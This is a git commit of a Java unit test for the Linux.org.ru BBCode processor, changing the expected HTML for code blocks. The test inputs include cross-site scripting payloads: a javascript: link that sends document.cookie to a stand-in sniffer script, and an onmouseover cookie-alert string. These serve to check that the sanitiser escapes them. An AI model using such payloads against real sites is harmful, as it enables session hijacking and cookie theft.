<commit_before>/*
 * Copyright 1998-2009 Linux.org.ru
 *    Licensed under the Apache License, Version 2.0 (the "License");
 *    you may not use this file except in compliance with the License.
 *    You may obtain a copy of the License at
 *
 *        http://www.apache.org/licenses/LICENSE-2.0
 *
 *    Unless required by applicable law or agreed to in writing, software
 *    distributed under the License is distributed on an "AS IS" BASIS,
 *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *    See the License for the specific language governing permissions and
 *    limitations under the License.
 */

package org.javabb.bbcode;

import java.sql.SQLException;

import static org.junit.Assert.assertEquals;
import org.junit.Test;

import ru.org.linux.util.BadURLException;

public class BBCodeTest {
  private static final String LINE_BREAK_TEST = "test\ntest\n\ntest";
  private static final String LINE_BREAK_RESULT = "<p>test\ntest<p>test";
  
  private static final String TAG_ESCAPE_TEST = "<br>";
  private static final String TAG_ESCAPE_RESULT = "<p>&lt;br&gt;";

  private static final String JAVASCRIPT_URL = "[url=javascript:var c=new Image();c.src=\"http://127.0.0.1/sniffer.pl?\"+document.cookie;close()]Test[/url]";

  private static final String LIST_TEST="[list][*]1[*]2[/list]";
  private static final String LIST_RESULT="<p><ul><li>1<li>2</ul>";

  private static final String BADLIST_TEST="[list]0[*]1[*]2[/list]";
  private static final String BADLIST_RESULT="<p><ul><li>1<li>2</ul>";

  private static final String XSS_URL="[url]http://ex.com/[i]<h1>'onmouseover='alert(document.cookie);'\"</h1>[/i][/url]";


  @Test
  public void testLineBreak() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, LINE_BREAK_TEST);

    assertEquals(LINE_BREAK_RESULT, result);
  }

  @Test
  public void testTagExcape() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, TAG_ESCAPE_TEST);

    assertEquals(TAG_ESCAPE_RESULT, result);
  }

  @Test
  public void testJavascriptURL() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, JAVASCRIPT_URL);

    assertEquals("<p><s>javascript:var c=new Image();c.src=&quot;http://127.0.0.1/sniffer.pl?&quot;+document.cookie;close()</s>", result);
  }

  @Test
  public void testCodeExcape() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, "[code]\"code&code\"[/code]");

    assertEquals("<p><div class=\"code\">&quot;code&amp;code&quot;</div>", result);
  }

  @Test
  public void testList() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, LIST_TEST);

    assertEquals(LIST_RESULT, result);
  }

  @Test
  public void testBadList() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, BADLIST_TEST);

    assertEquals(BADLIST_RESULT, result);
  }
}<commit_msg>LORCODE: поправлен unit-тест<commit_after>/*
 * Copyright 1998-2009 <EMAIL>
 *    Licensed under the Apache License, Version 2.0 (the "License");
 *    you may not use this file except in compliance with the License.
 *    You may obtain a copy of the License at
 *
 *        http://www.apache.org/licenses/LICENSE-2.0
 *
 *    Unless required by applicable law or agreed to in writing, software
 *    distributed under the License is distributed on an "AS IS" BASIS,
 *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *    See the License for the specific language governing permissions and
 *    limitations under the License.
 */

package org.javabb.bbcode;

import java.sql.SQLException;

import static org.junit.Assert.assertEquals;
import org.junit.Test;

import ru.org.linux.util.BadURLException;

public class BBCodeTest {
  private static final String LINE_BREAK_TEST = "test\ntest\n\ntest";
  private static final String LINE_BREAK_RESULT = "<p>test\ntest<p>test";
  
  private static final String TAG_ESCAPE_TEST = "<br>";
  private static final String TAG_ESCAPE_RESULT = "<p>&lt;br&gt;";

  private static final String JAVASCRIPT_URL = "[url=javascript:var c=new Image();c.src=\"http://127.0.0.1/sniffer.pl?\"+document.cookie;close()]Test[/url]";

  private static final String LIST_TEST="[list][*]1[*]2[/list]";
  private static final String LIST_RESULT="<p><ul><li>1<li>2</ul>";

  private static final String BADLIST_TEST="[list]0[*]1[*]2[/list]";
  private static final String BADLIST_RESULT="<p><ul><li>1<li>2</ul>";

  private static final String XSS_URL="[url]http://ex.com/[i]<h1>'onmouseover='alert(document.cookie);'\"</h1>[/i][/url]";


  @Test
  public void testLineBreak() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, LINE_BREAK_TEST);

    assertEquals(LINE_BREAK_RESULT, result);
  }

  @Test
  public void testTagExcape() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, TAG_ESCAPE_TEST);

    assertEquals(TAG_ESCAPE_RESULT, result);
  }

  @Test
  public void testJavascriptURL() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, JAVASCRIPT_URL);

    assertEquals("<p><s>javascript:var c=new Image();c.src=&quot;http://127.0.0.1/sniffer.pl?&quot;+document.cookie;close()</s>", result);
  }

  @Test
  public void testCodeExcape() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, "[code]\"code&code\"[/code]");

    assertEquals("<p><pre class=code>&quot;code&amp;code&quot;</pre>", result);
  }

  @Test
  public void testList() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, LIST_TEST);

    assertEquals(LIST_RESULT, result);
  }

  @Test
  public void testBadList() throws BadURLException, SQLException {
    BBCodeProcessor proc = new BBCodeProcessor();

    String result = proc.preparePostText(null, BADLIST_TEST);

    assertEquals(BADLIST_RESULT, result);
  }
}
{'fraction_non_alphanumeric': 0.12591687041564792, 'fraction_numerical': 0.010696821515892421, 'mean_word_length': 4.594017094017094, 'pattern_counts': {'":': 0, '<': 48, '<?xml version=': 0, '>': 48, 'https://': 0, 'lorem ipsum': 0, 'www.': 2, 'xml': 0}, 'pii_count': 4, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '5510237', 'n_tokens_mistral': 2103, 'n_tokens_neox': 1988, 'n_words': 518}